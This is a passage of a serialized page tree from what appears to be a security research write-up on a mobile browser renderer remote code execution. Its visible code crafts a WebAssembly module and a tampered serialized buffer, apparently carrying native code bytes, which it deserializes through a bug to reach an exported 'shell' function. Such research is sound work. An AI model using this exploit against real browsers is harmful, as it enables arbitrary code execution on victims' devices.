139036],{"type":30,"value":136625},{"type":24,"tag":930,"props":139038,"children":139039},{"style":959},[139040],{"type":30,"value":962},{"type":24,"tag":930,"props":139042,"children":139043},{"style":1242},[139044],{"type":30,"value":135917},{"type":24,"tag":930,"props":139046,"children":139047},{"style":959},[139048],{"type":30,"value":962},{"type":24,"tag":930,"props":139050,"children":139051},{"style":1242},[139052],{"type":30,"value":135926},{"type":24,"tag":930,"props":139054,"children":139055},{"style":959},[139056],{"type":30,"value":962},{"type":24,"tag":930,"props":139058,"children":139059},{"style":1242},[139060],{"type":30,"value":135935},{"type":24,"tag":930,"props":139062,"children":139063},{"style":959},[139064],{"type":30,"value":962},{"type":24,"tag":930,"props":139066,"children":139067},{"style":1242},[139068],{"type":30,"value":7129},{"type":24,"tag":930,"props":139070,"children":139071},{"style":959},[139072],{"type":30,"value":962},{"type":24,"tag":930,"props":139074,"children":139075},{"style":1242},[139076],{"type":30,"value":1818},{"type":24,"tag":930,"props":139078,"children":139079},{"style":959},[139080],{"type":30,"value":962},{"type":24,"tag":930,"props":139082,"children":139083},{"style":1242},[139084],{"type":30,"value":1818},{"type":24,"tag":930,"props":139086,"children":139087},{"style":959},[139088],{"type":30,"value":962},{"type":24,"tag":930,"props":139090,"children":139091},{"style":1242},[139092],{"type":30,"value":1818},{"type":24,"tag":930,"props":139094,"children":139095},{"style":959},[139096],{"type":30,"value":962},{"type":24,"tag":930,"props":139098,"children":139099},{"style":1242},[139100],{"type":30,"value":7129},{"type":24,"tag":930,"props":139102,"children":139103},{"style":959},[139104],{"type":30,"value":962},{"type":24,"tag":930,"props":139106,"children":139107},{"style":1242},[139108],{"type":30,"value":20630},{"type":24,"tag":930,"props":139110,"children":139111},{"style":959},[139112],{"type":30,"value":962},{"type":24,"tag":930,"props":139114,"children":139115},{"style":1242},[139116],{"type":30,"value":7129},{"type":24,"tag":930,"props":139118,"children":139119},{"style":959},[139120],{"type":30,"value":962},{"type":24,"tag":930,"props":139122,"children":139123},{"style":1242},[139124],{"type":30,"value":136000},{"type":24,"tag":930,"props":139126,"children":139127},{"style":959},[139128],{"type":30,"value":962},{"type":24,"tag":930,"props":139130,"children":139131},{"style":1242},[139132],{"type":30,"value":1818},{"type":24,"tag":930,"props":139134,"children":139135},{"style":959},[139136],{"type":30,"value":962},{"type":24,"tag":930,"props":139138,"children":139139},{"style":1242},[139140],{"type":30,"value":1818},{"type":24,"tag":930,"props":139142,"children":139143},{"style":959},[139144],{"type":30,"value":962},{"type":24,"tag":930,"props":139146,"children":139147},{"style":1242},[139148],{"type":30,"value":20397},{"type":24,"tag":930,"props":139150,"children":139151},{"style":959},[139152],{"type":30,"value":962},{"type":24,"tag":930,"props":139154,"children":139155},{"style":1242},[139156],{"type":30,"value":6244},{"type":24,"tag":930,"props":139158,"children":139159},{"style":959},[139160],{"type":30,"value":962},{"type":24,"tag":930,"props":139162,"children":139163},{"style":1242},[139164],{"type":30,"value":7129},{"type":24,"tag":930,"props":139166,"children":139167},{"style":959},[139168],{"type":30,"value":962},{"type":24,"tag":930,"props":139170,"children":139171},{"style":1242},[139172],{"type":30,"value":1818},{"type":24,"tag":930,"props":139174,"children":139175},{"style":959},[139176],{"type":30,"value":962},{"type":24,"tag":930,"props":139178,"children":139179},{"style":1242},[139180],{"type":30,"value":57760},{"type":24,"tag":930,"props":139182,"children":139183},{"style":959},[139184],{"type":30,"value":962},{"type":24,"tag":930,"props":139186,"children":139187},{"style":1242},[139188],{"type":30,"value":58975},{"type":24,"tag":930,"props":139190,"children":139191},{"style":959},[139192],{"type":30,"value":962},{"type":24,"tag":930,"props":139194,"children":139195},{"style":1242},[139196],{"type":30,"value":7129},{"type":24,"tag":930,"props":139198,"children":139199},{"style":959},[139200],{"type":30,"value":962},{"type":24,"tag":930,"props":139202,"children":139203},{"style":1242},[139204],{"type":30,"value":21210},{"type":24,"tag":930,"props":139206,"children":139207},{"style":959},[139208],{"type":30,"value":962},{"type":24,"tag":930,"props":139210,"children":139211},{"style":1242},[139212],{"type":30,"value":135926},{"type":24,"tag":930,"props":139214,"children":139215},{"style":959},[139216],{"type":30,"value":962},{"type":24,"tag":930,"props":139218,"children":139219},{"style":1242},[139220],{"type":30,"value":136097},{"type":24,"tag":930,"props":139222,"children":139223},{"style":959},[139224],{"type":30,"value":962},{"type":24,"tag":930,"props":139226,"children":139227},{"style":1242},[139228],{"type":30,"value":136106},{"type":24,"tag":930,"props":139230,"children":139231},{"style":959},[139232],{"type":30,"value":962},{"type":24,"tag":930,"props":139234,"children":139235},{"style":1242},[139236],{"type":30,"value":136115},{"type":24,"tag":930,"props":139238,"children":139239},{"style":959},[139240],{"type":30,"value":962},{"type":24,"tag":930,"props":139242,"children":139243},{"style":1242},[139244],{"type":30,"value":136115},{"type":24,"tag":930,"props":139246,"children":139247},{"style":959},[139248],{"type":30,"value":2832},{"type":24,"tag":930,"props":139250,"children":139251},{"class":932,"line":1057},[139252,139256,139260,139264,139268,139272,139276,139280,139284,139288,139292,139296,139300,139304,139308,139312],{"type":24,"tag":930,"props":139253,"children":139254},{"style":1242},[139255],{"type":30,"value":136625},{"type":24,"tag":930,"props":139257,"children":139258},{"style":959},[139259],{"type":30,"value":962},{"type":24,"tag":930,"props":139261,"children":139262},{"style":1242},[139263],{"type":30,"value":1818},{"type":24,"tag":930,"props":139265,"children":139266},{"style":959},[139267],{"type":30,"value":962},{"type":24,"tag":930,"props":139269,"children":139270},{"style":1242},[139271],{"type":30,"value":92321},{"type":24,"tag":930,"props":139273,"children":139274},{"style":959},[139275],{"type":30,"value":962},{"type":24,"tag":930,"props":139277,"children":139278},{"style":1242},[139279],{"type":30,"value":20630},{"type":24,"tag":930,"props":139281,"children":139282},{"style":959},[139283],{"type":30,"value":962},{"type":24,"tag":930,"props":139285,"children":139286},{"style":1242},[139287],{"type":30,"value":7129},{"type":24,"tag":930,"props":139289,"children":139290},{"style":959},[139291],{"type":30,"value":962},{"type":24,"tag":930,"props":139293,"children":139294},{"style":1242},[139295],{"type":30,"value":6244},{"type":24,"tag":930,"props":139297,"children":139298},{"style":959},[139299],{"type":30,"value":962},{"type":24,"tag":930,"props":139301,"children":139302},{"style":1242},[139303],{"type":30,"value":1818},{"type":24,"tag":930,"props":139305,"children":139306},{"style":959},[139307],{"type":30,"value":962},{"type":24,"tag":930,"props":139309,"children":139310},{"style":1242},[139311],{"type":30,"value":136191},{"type":24,"tag":930,"props":139313,"children":139314},{"style":959},[139315],{"type":30,"value":2832},{"type":24,"tag":930,"props":139317,"children":139318},{"class":932,"line":1066},[139319],{"type":24,"tag":930,"props":139320,"children":139321},{"style":959},[139322],{"type":30,"value":136912},{"type":24,"tag":930,"props":139324,"children":139325},{"class":932,"line":1075},[139326,139330,139334,139338,139342,139346,139350,139354,139358,139362],{"type":24,"tag":930,"props":139327,"children":139328},{"style":937},[139329],{"type":30,"value":139009},{"type":24,"tag":930,"props":139331,"children":139332},{"style":1023},[139333],{"type":30,"value":74705},{"type":24,"tag":930,"props":139335,"children":139336},{"style":1158},[139337],{"type":30,"value":6137},{"type":24,"tag":930,"props":139339,"children":139340},{"style":937},[139341],{"type":30,"value":35023},{"type":24,"tag":930,"props":139343,"children":139344},{"style":1023},[139345],{"type":30,"value":136226},{"type":24,"tag":930,"props":139347,"children":139348},{"style":959},[139349],{"type":30,"value":436},{"type":24,"tag":930,"props":139351,"children":139352},{"style":1002},[139353],{"type":30,"value":88989},{"type":24,"tag":930,"props":139355,"children":139356},{"style":959},[139357],{"type":30,"value":1010},{"type":24,"tag":930,"props":139359,"children":139360},{"style":1023},[139361],{"type":30,"value":136243},{"type":24,"tag":930,"props":139363,"children":139364},{"style":959},[139365],{"type":30,"value":1278},{"type":24,"tag":930,"props":139367,"children":139368},{"class":932,"line":1122},[139369,139373,139377,139381,139385,139389,139393,139397,139401,139405],{"type":24,"tag":930,"props":139370,"children":139371},{"style":937},[139372],{"type":30,"value":139009},{"type":24,"tag":930,"props":139374,"children":139375},{"style":1023},[139376],{"type":30,"value":136259},{"type":24,"tag":930,"props":139378,"children":139379},{"style":1158},[139380],{"type":30,"value":6137},{"type":24,"tag":930,"props":139382,"children":139383},{"style":937},[139384],{"type":30,"value":35023},{"type":24,"tag":930,"props":139386,"children":139387},{"style":1023},[139388],{"type":30,"value":136226},{"type":24,"tag":930,"props":139390,"children":139391},{"style":959},[139392],{"type":30,"value":436},{"type":24,"tag":930,"props":139394,"children":139395},{"style":1002},[139396],{"type":30,"value":136280},{"type":24,"tag":930,"props":139398,"children":139399},{"style":959},[139400],{"type":30,"value":1010},{"type":24,"tag":930,"props":139402,"children":139403},{"style":1023},[139404],{"type":30,"value":136289},{"type":24,"tag":930,"props":139406,"children":139407},{"style":959},[139408],{"type":30,"value":1278},{"type":24,"tag":930,"props":139410,"children":139411},{"class":932,"line":1131},[139412,139416,139420,139424,139428,139432,139436,139440,139444],{"type":24,"tag":930,"props":139413,"children":139414},{"style":937},[139415],{"type":30,"value":139009},{"type":24,"tag":930,"props":139417,"children":139418},{"style":1023},[139419],{"type":30,"value":83087},{"type":24,"tag":930,"props":139421,"children":139422},{"style":1158},[139423],{"type":30,"value":6137},{"type":24,"tag":930,"props":139425,"children":139426},{"style":1023},[139427],{"type":30,"value":136259},{"type":24,"tag":930,"props":139429,"children":139430},{"style":959},[139431],{"type":30,"value":436},{"type":24,"tag":930,"props":139433,"children":139434},{"style":1023},[139435],{"type":30,"value":40974},{"type":24,"tag":930,"props":139437,"children":139438},{"style":959},[139439],{"type":30,"value":436},{"type":24,"tag":930,"props":139441,"children":139442},{"style":1023},[139443],{"type":30,"value":136329},{"type":24,"tag":930,"props":139445,"children":139446},{"style":959},[139447],{"type":30,"value":5539},{"type":24,"tag":930,"props":139449,"children":139450},{"class":932,"line":1144},[139451],{"type":24,"tag":930,"props":139452,"children":139453},{"emptyLinePlaceholder":16},[139454],{"type":30,"value":2412},{"type":24,"tag":930,"props":139456,"children":139457},{"class":932,"line":1169},[139458],{"type":24,"tag":930,"props":139459,"children":139460},{"style":1422},[139461],{"type":30,"value":139462},"  // %WasmTierUpFunction(func);\n",{"type":24,"tag":930,"props":139464,"children":139465},{"class":932,"line":1191},[139466,139471,139475,139479,139483,139487,139491,139495,139499,139503,139507,139511,139515,139519],{"type":24,"tag":930,"props":139467,"children":139468},{"style":1079},[139469],{"type":30,"value":139470},"  for",{"type":24,"tag":930,"props":139472,"children":139473},{"style":959},[139474],{"type":30,"value":1087},{"type":24,"tag":930,"props":139476,"children":139477},{"style":937},[139478],{"type":30,"value":14894},{"type":24,"tag":930,"props":139480,"children":139481},{"style":1023},[139482],{"type":30,"value":6515},{"type":24,"tag":930,"props":139484,"children":139485},{"style":1158},[139486],{"type":30,"value":6137},{"type":24,"tag":930,"props":139488,"children":139489},{"style":1242},[139490],{"type":30,"value":1245},{"type":24,"tag":930,"props":139492,"children":139493},{"style":959},[139494],{"type":30,"value":20328},{"type":24,"tag":930,"props":139496,"children":139497},{"style":1023},[139498],{"type":30,"value":6854},{"type":24,"tag":930,"props":139500,"children":139501},{"style":1158},[139502],{"type":30,"value":11828},{"type":24,"tag":930,"props":139504,"children":139505},{"style":1242},[139506],{"type":30,"value":138931},{"type":24,"tag":930,"props":139508,"children":139509},{"style":959},[139510],{"type":30,"value":20328},{"type":24,"tag":930,"props":139512,"children":139513},{"style":1023},[139514],{"type":30,"value":6854},{"type":24,"tag":930,"props":139516,"children":139517},{"style":1158},[139518],{"type":30,"value":54358},{"type":24,"tag":930,"props":139520,"children":139521},{"style":959},[139522],{"type":30,"value":1503},{"type":24,"tag":930,"props":139524,"children":139525},{"class":932,"line":1223},[139526,139531],{"type":24,"tag":930,"props":139527,"children":139528},{"style":1002},[139529],{"type":30,"value":139530},"    func",{"type":24,"tag":930,"props":139532,"children":139533},{"style":959},[139534],{"type":30,"value":1310},{"type":24,"tag":930,"props":139536,"children":139537},{"class":932,"line":1281},[139538],{"type":24,"tag":930,"props":139539,"children":139540},{"style":959},[139541],{"type":30,"value":8984},{"type":24,"tag":930,"props":139543,"children":139544},{"class":932,"line":1313},[139545],{"type":24,"tag":930,"props":139546,"children":139547},{"emptyLinePlaceholder":16},[139548],{"type":30,"value":2412},{"type":24,"tag":930,"props":139550,"children":139551},{"class":932,"line":1335},[139552,139556,139560,139564,139568,139572,139576],{"type":24,"tag":930,"props":139553,"children":139554},{"style":937},[139555],{"type":30,"value":10965},{"type":24,"tag":930,"props":139557,"children":139558},{"style":1023},[139559],{"type":30,"value":138365},{"type":24,"tag":930,"props":139561,"children":139562},{"style":1158},[139563],{"type":30,"value":6137},{"type":24,"tag":930,"props":139565,"children":139566},{"style":1002},[139567],{"type":30,"value":138374},{"type":24,"tag":930,"props":139569,"children":139570},{"style":959},[139571],{"type":30,"value":1010},{"type":24,"tag":930,"props":139573,"children":139574},{"style":1023},[139575],{"type":30,"value":136289},{"type":24,"tag":930,"props":139577,"children":139578},{"style":959},[139579],{"type":30,"value":1278},{"type":24,"tag":930,"props":139581,"children":139582},{"class":932,"line":1376},[139583,139587,139591,139595,139599,139603,139607,139611,139615,139619],{"type":24,"tag":930,"props":139584,"children":139585},{"style":1023},[139586],{"type":30,"value":138410},{"type":24,"tag":930,"props":139588,"children":139589},{"style":1158},[139590],{"type":30,"value":6137},{"type":24,"tag":930,"props":139592,"children":139593},{"style":959},[139594],{"type":30,"value":1087},{"type":24,"tag":930,"props":139596,"children":139597},{"style":1079},[139598],{"type":30,"value":36004},{"type":24,"tag":930,"props":139600,"children":139601},{"style":1023},[139602],{"type":30,"value":138365},{"type":24,"tag":930,"props":139604,"children":139605},{"style":959},[139606],{"type":30,"value":436},{"type":24,"tag":930,"props":139608,"children":139609},{"style":1002},[139610],{"type":30,"value":60654},{"type":24,"tag":930,"props":139612,"children":139613},{"style":959},[139614],{"type":30,"value":138439},{"type":24,"tag":930,"props":139616,"children":139617},{"style":1023},[139618],{"type":30,"value":42239},{"type":24,"tag":930,"props":139620,"children":139621},{"style":959},[139622],{"type":30,"value":5539},{"type":24,"tag":930,"props":139624,"children":139625},{"class":932,"line":1418},[139626,139630,139634,139638,139642,139646],{"type":24,"tag":930,"props":139627,"children":139628},{"style":1023},[139629],{"type":30,"value":105003},{"type":24,"tag":930,"props":139631,"children":139632},{"style":959},[139633],{"type":30,"value":436},{"type":24,"tag":930,"props":139635,"children":139636},{"style":1002},[139637],{"type":30,"value":105012},{"type":24,"tag":930,"props":139639,"children":139640},{"style":959},[139641],{"type":30,"value":1010},{"type":24,"tag":930,"props":139643,"children":139644},{"style":1023},[139645],{"type":30,"value":12191},{"type":24,"tag":930,"props":139647,"children":139648},{"style":959},[139649],{"type":30,"value":1278},{"type":24,"tag":930,"props":139651,"children":139652},{"class":932,"line":1438},[139653],{"type":24,"tag":930,"props":139654,"children":139655},{"emptyLinePlaceholder":16},[139656],{"type":30,"value":2412},{"type":24,"tag":930,"props":139658,"children":139659},{"class":932,"line":1479},[139660,139664,139669,139673,139677,139681,139685,139689],{"type":24,"tag":930,"props":139661,"children":139662},{"style":937},[139663],{"type":30,"value":10965},{"type":24,"tag":930,"props":139665,"children":139666},{"style":1023},[139667],{"type":30,"value":139668}," result_bytes",{"type":24,"tag":930,"props":139670,"children":139671},{"style":1158},[139672],{"type":30,"value":6137},{"type":24,"tag":930,"props":139674,"children":139675},{"style":937},[139676],{"type":30,"value":35023},{"type":24,"tag":930,"props":139678,"children":139679},{"style":1002},[139680],{"type":30,"value":135895},{"type":24,"tag":930,"props":139682,"children":139683},{"style":959},[139684],{"type":30,"value":1010},{"type":24,"tag":930,"props":139686,"children":139687},{"style":1023},[139688],{"type":30,"value":12191},{"type":24,"tag":930,"props":139690,"children":139691},{"style":959},[139692],{"type":30,"value":1278},{"type":24,"tag":930,"props":139694,"children":139695},{"class":932,"line":1506},[139696,139700,139704,139708,139712,139716,139720,139724,139728,139732,139736,139740,139744,139748,139752],{"type":24,"tag":930,"props":139697,"children":139698},{"style":1023},[139699],{"type":30,"value":105003},{"type":24,"tag":930,"props":139701,"children":139702},{"style":959},[139703],{"type":30,"value":436},{"type":24,"tag":930,"props":139705,"children":139706},{"style":1002},[139707],{"type":30,"value":105012},{"type":24,"tag":930,"props":139709,"children":139710},{"style":959},[139711],{"type":30,"value":1010},{"type":24,"tag":930,"props":139713,"children":139714},{"style":1270},[139715],{"type":30,"value":136462},{"type":24,"tag":930,"props":139717,"children":139718},{"style":1158},[139719],{"type":30,"value":12014},{"type":24,"tag":930,"props":139721,"children":139722},{"style":1023},[139723],{"type":30,"value":139668},{"type":24,"tag":930,"props":139725,"children":139726},{"style":959},[139727],{"type":30,"value":436},{"type":24,"tag":930,"props":139729,"children":139730},{"style":1002},[139731],{"type":30,"value":136479},{"type":24,"tag":930,"props":139733,"children":139734},{"style":959},[139735],{"type":30,"value":1010},{"type":24,"tag":930,"props":139737,"children":139738},{"style":1270},[139739],{"type":30,"value":136488},{"type":24,"tag":930,"props":139741,"children":139742},{"style":959},[139743],{"type":30,"value":5579},{"type":24,"tag":930,"props":139745,"children":139746},{"style":1158},[139747],{"type":30,"value":1400},{"type":24,"tag":930,"props":139749,"children":139750},{"style":1270},[139751],{"type":30,"value":136501},{"type":24,"tag":930,"props":139753,"children":139754},{"style":959},[139755],{"type":30,"value":1278},{"type":24,"tag":930,"props":139757,"children":139758},{"class":932,"line":1525},[139759],{"type":24,"tag":930,"props":139760,"children":139761},{"style":959},[139762],{"type":30,"value":105044},{"type":24,"tag":33,"props":139764,"children":139765},{},[139766],{"type":30,"value":139767},"We get the serialized bytes:",{"type":24,"tag":33,"props":139769,"children":139770},{},[139771],{"type":24,"tag":140,"props":139772,"children":139775},{"alt":139773,"src":139774},"image2","/posts/mobile-renderer-rce/image2.png",[],{"type":24,"tag":33,"props":139777,"children":139778},{},[139779,139781,139786],{"type":30,"value":139780},"We can now embed this output into the original bytecode that calls ",{"type":24,"tag":156,"props":139782,"children":139784},{"className":139783},[],[139785],{"type":30,"value":135358},{"type":30,"value":476},{"type":24,"tag":920,"props":139788,"children":139790},{"code":139789,"language":38703,"meta":7,"className":38701,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,\n    0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,\n    213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,\n    255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 92, 50, 162, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  console.log('DeserializeWasmModule result: ' + result);\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  console.log(f);\n})();\n",[139791],{"type":24,"tag":156,"props":139792,"children":139793},{"__ignoreMap":7},[139794,139817,139844,140063,140130,140137,140164,140375,140626,140877,141101,141283,141504,141582,141589,141636,141679,141715,141758,141797,141824],{"type":24,"tag":930,"props":139795,"children":139796},{"class":932,"line":933},[139797,139801,139805,139809,139813],{"type":24,"tag":930,"props":139798,"children":139799},{"style":959},[139800],{"type":30,"value":1010},{"type":24,"tag":930,"props":139802,"children":139803},{"style":937},[139804],{"type":30,"value":39233},{"type":24,"tag":930,"props":139806,"children":139807},{"style":959},[139808],{"type":30,"value":42784},{"type":24,"tag":930,"props":139810,"children":139811},{"style":937},[139812],{"type":30,"value":17925},{"type":24,"tag":930,"props":139814,"children":139815},{"style":959},[139816],{"type":30,"value":981},{"type":24,"tag":930,"props":139818,"children":139819},{"class":932,"line":984},[139820,139824,139828,139832,139836,139840],{"type":24,"tag":930,"props":139821,"children":139822},{"style":937},[139823],{"type":30,"value":39276},{"type":24,"tag":930,"props":139825,"children":139826},{"style":1023},[139827],{"type":30,"value":135882},{"type":24,"tag":930,"props":139829,"children":139830},{"style":1158},[139831],{"type":30,"value":6137},{"type":24,"tag":930,"props":139833,"children":139834},{"style":937},[139835],{"type":30,"value":35023},{"type":24,"tag":930,"props":139837,"children":139838},{"style":1002},[139839],{"type":30,"value":135895},{"type":24,"tag":930,"props":139841,"children":139842},{"style":959},[139843],{"type":30,"value":135900},{"type":24,"tag":930,"props":139845,"children":139846},{"class":932,"line":993},[139847,139851,139855,139859,139863,139867,139871,139875,139879,139883,139887,139891,139895,139899,139903,139907,139911,139915,139919,139923,139927,139931,139935,139939,139943,139947,139951,139955,139959,139963,139967,139971,139975,139979,139983,139987,139991,139995,139999,140003,140007,140011,140015,140019,140023,140027,140031,140035,140039,140043,140047,140051,140055,140059],{"type":24,"tag":930,"props":139848,"children":139849},{"style":1242},[139850],{"type":30,"value":136625},{"type":24,"tag":930,"props":139852,"children":139853},{"style":959},[139854],{"type":30,"value":962},{"type":24,"tag":930,"props":139856,"children":139857},{"style":1242},[139858],{"type":30,"value":135917},{"type":24,"tag":930,"props":139860,"children":139861},{"style":959},[139862],{"type":30,"value":962},{"type":24,"tag":930,"props":139864,"children":139865},{"style":1242},[139866],{"type":30,"value":135926},{"type":24,"tag":930,"props":139868,"children":139869},{"style":959},[139870],{"type":30,"value":962},{"type":24,"tag":930,"props":139872,"children":139873},{"style":1242},[139874],{"type":30,"value":135935},{"type":24,"tag":930,"props":139876,"children":139877},{"style":959},[139878],{"type":30,"value":962},{"type":24,"tag":930,"props":139880,"children":139881},{"style":1242},[139882],{"type":30,"value":7129},{"type":24,"tag":930,"props":139884,"children":139885},{"style":959},[139886],{"type":30,"value":962},{"type":24,"tag":930,"props":139888,"children":139889},{"style":1242},[139890],{"type":30,"value":1818},{"type":24,"tag":930,"props":139892,"children":139893},{"style":959},[139894],{"type":30,"value":962},{"type":24,"tag":930,"props":139896,"children":139897},{"style":1242},[139898],{"type":30,"value":1818},{"type":24,"tag":930,"props":139900,"children":139901},{"style":959},[139902],{"type":30,"value":962},{"type":24,"tag":930,"props":139904,"children":139905},{"style":1242},[139906],{"type":30,"value":1818},{"type":24,"tag":930,"props":139908,"children":139909},{"style":959},[139910],{"type":30,"value":962},{"type":24,"tag":930,"props":139912,"children":139913},{"style":1242},[139914],{"type":30,"value":7129},{"type":24,"tag":930,"props":139916,"children":139917},{"style":959},[139918],{"type":30,"value":962},{"type":24,"tag":930,"props":139920,"children":139921},{"style":1242},[139922],{"type":30,"value":20630},{"type":24,"tag":930,"props":139924,"children":139925},{"style":959},[139926],{"type":30,"value":962},{"type":24,"tag":930,"props":139928,"children":139929},{"style":1242},[139930],{"type":30,"value":7129},{"type":24,"tag":930,"props":139932,"children":139933},{"style":959},[139934],{"type":30,"value":962},{"type":24,"tag":930,"props":139936,"children":139937},{"style":1242},[139938],{"type":30,"value":136000},{"type":24,"tag":930,"props":139940,"children":139941},{"style":959},[139942],{"type":30,"value":962},{"type":24,"tag":930,"props":139944,"children":139945},{"style":1242},[139946],{"type":30,"value":1818},{"type":24,"tag":930,"props":139948,"children":139949},{"style":959},[139950],{"type":30,"value":962},{"type":24,"tag":930,"props":139952,"children":139953},{"style":1242},[139954],{"type":30,"value":1818},{"type":24,"tag":930,"props":139956,"children":139957},{"style":959},[139958],{"type":30,"value":962},{"type":24,"tag":930,"props":139960,"children":139961},{"style":1242},[139962],{"type":30,"value":20397},{"type":24,"tag":930,"props":139964,"children":139965},{"style":959},[139966],{"type":30,"value":962},{"type":24,"tag":930,"props":139968,"children":139969},{"style":1242},[139970],{"type":30,"value":6244},{"type":24,"tag":930,"props":139972,"children":139973},{"style":959},[139974],{"type":30,"value":962},{"type":24,"tag":930,"props":139976,"children":139977},{"style":1242},[139978],{"type":30,"value":7129},{"type":24,"tag":930,"props":139980,"children":139981},{"style":959},[139982],{"type":30,"value":962},{"type":24,"tag":930,"props":139984,"children":139985},{"style":1242},[139986],{"type":30,"value":1818},{"type":24,"tag":930,"props":139988,"children":139989},{"style":959},[139990],{"type":30,"value":962},{"type":24,"tag":930,"props":139992,"children":139993},{"style":1242},[139994],{"type":30,"value":57760},{"type":24,"tag":930,"props":139996,"children":139997},{"style":959},[139998],{"type":30,"value":962},{"type":24,"tag":930,"props":140000,"children":140001},{"style":1242},[140002],{"type":30,"value":58975},{"type":24,"tag":930,"props":140004,"children":140005},{"style":959},[140006],{"type":30,"value":962},{"type":24,"tag":930,"props":140008,"children":140009},{"style":1242},[140010],{"type":30,"value":7129},{"type":24,"tag":930,"props":140012,"children":140013},{"style":959},[140014],{"type":30,"value":962},{"type":24,"tag":930,"props":140016,"children":140017},{"style":1242},[140018],{"type":30,"value":21210},{"type":24,"tag":930,"props":140020,"children":140021},{"style":959},[140022],{"type":30,"value":962},{"type":24,"tag":930,"props":140024,"children":140025},{"style":1242},[140026],{"type":30,"value":135926},{"type":24,"tag":930,"props":140028,"children":140029},{"style":959},[140030],{"type":30,"value":962},{"type":24,"tag":930,"props":140032,"children":140033},{"style":1242},[140034],{"type":30,"value":136097},{"type":24,"tag":930,"props":140036,"children":140037},{"style":959},[140038],{"type":30,"value":962},{"type":24,"tag":930,"props":140040,"children":140041},{"style":1242},[140042],{"type":30,"value":136106},{"type":24,"tag":930,"props":140044,"children":140045},{"style":959},[140046],{"type":30,"value":962},{"type":24,"tag":930,"props":140048,"children":140049},{"style":1242},[140050],{"type":30,"value":136115},{"type":24,"tag":930,"props":140052,"children":140053},{"style":959},[140054],{"type":30,"value":962},{"type":24,"tag":930,"props":140056,"children":140057},{"style":1242},[140058],{"type":30,"value":136115},{"type":24,"tag":930,"props":140060,"children":140061},{"style":959},[140062],{"type":30,"value":2832},{"type":24,"tag":930,"props":140064,"children":140065},{"class":932,"line":1057},[140066,140070,140074,140078,140082,140086,140090,140094,140098,140102,140106,140110,140114,140118,140122,140126],{"type":24,"tag":930,"props":140067,"children":140068},{"style":1242},[140069],{"type":30,"value":136625},{"type":24,"tag":930,"props":140071,"children":140072},{"style":959},[140073],{"type":30,"value":962},{"type":24,"tag":930,"props":140075,"children":140076},{"style":1242},[140077],{"type":30,"value":1818},{"type":24,"tag":930,"props":140079,"children":140080},{"style":959},[140081],{"type":30,"value":962},{"type":24,"tag":930,"props":140083,"children":140084},{"style":1242},[140085],{"type":30,"value":92321},{"type":24,"tag":930,"props":140087,"children":140088},{"style":959},[140089],{"type":30,"value":962},{"type":24,"tag":930,"props":140091,"children":140092},{"style":1242},[140093],{"type":30,"value":20630},{"type":24,"tag":930,"props":140095,"children":140096},{"style":959},[140097],{"type":30,"value":962},{"type":24,"tag":930,"props":140099,"children":140100},{"style":1242},[140101],{"type":30,"value":7129},{"type":24,"tag":930,"props":140103,"children":140104},{"style":959},[140105],{"type":30,"value":962},{"type":24,"tag":930,"props":140107,"children":140108},{"style":1242},[140109],{"type":30,"value":6244},{"type":24,"tag":930,"props":140111,"children":140112},{"style":959},[140113],{"type":30,"value":962},{"type":24,"tag":930,"props":140115,"children":140116},{"style":1242},[140117],{"type":30,"value":1818},{"type":24,"tag":930,"props":140119,"children":140120},{"style":959},[140121],{"type":30,"value":962},{"type":24,"tag":930,"props":140123,"children":140124},{"style":1242},[140125],{"type":30,"value":136191},{"type":24,"tag":930,"props":140127,"children":140128},{"style":959},[140129],{"type":30,"value":2832},{"type":24,"tag":930,"props":140131,"children":140132},{"class":932,"line":1066},[140133],{"type":24,"tag":930,"props":140134,"children":140135},{"style":959},[140136],{"type":30,"value":136912},{"type":24,"tag":930,"props":140138,"children":140139},{"class":932,"line":1075},[140140,140144,140148,140152,140156,140160],{"type":24,"tag":930,"props":140141,"children":140142},{"style":937},[140143],{"type":30,"value":39276},{"type":24,"tag":930,"props":140145,"children":140146},{"style":1023},[140147],{"type":30,"value":127695},{"type":24,"tag":930,"props":140149,"children":140150},{"style":1158},[140151],{"type":30,"value":6137},{"type":24,"tag":930,"props":140153,"children":140154},{"style":937},[140155],{"type":30,"value":35023},{"type":24,"tag":930,"props":140157,"children":140158},{"style":1002},[140159],{"type":30,"value":135895},{"type":24,"tag":930,"props":140161,"children":140162},{"style":959},[140163],{"type":30,"value":135900},{"type":24,"tag":930,"props":140165,"children":140166},{"class":932,"line":1122},[140167,140172,140176,140180,140184,140188,140192,140196,140200,140205,140209,140214,140218,140223,140227,140232,140236,140240,140244,140248,140252,140256,140260,140264,140268,140273,140277,140282,140286,140291,140295,140299,140303,140307,140311,140315,140319,140323,140327,140331,140335,140339,140343,140347,140351,140355,140359,140363,140367,140371],{"type":24,"tag":930,"props":140168,"children":140169},{"style":1242},[140170],{"type":30,"value":140171},"    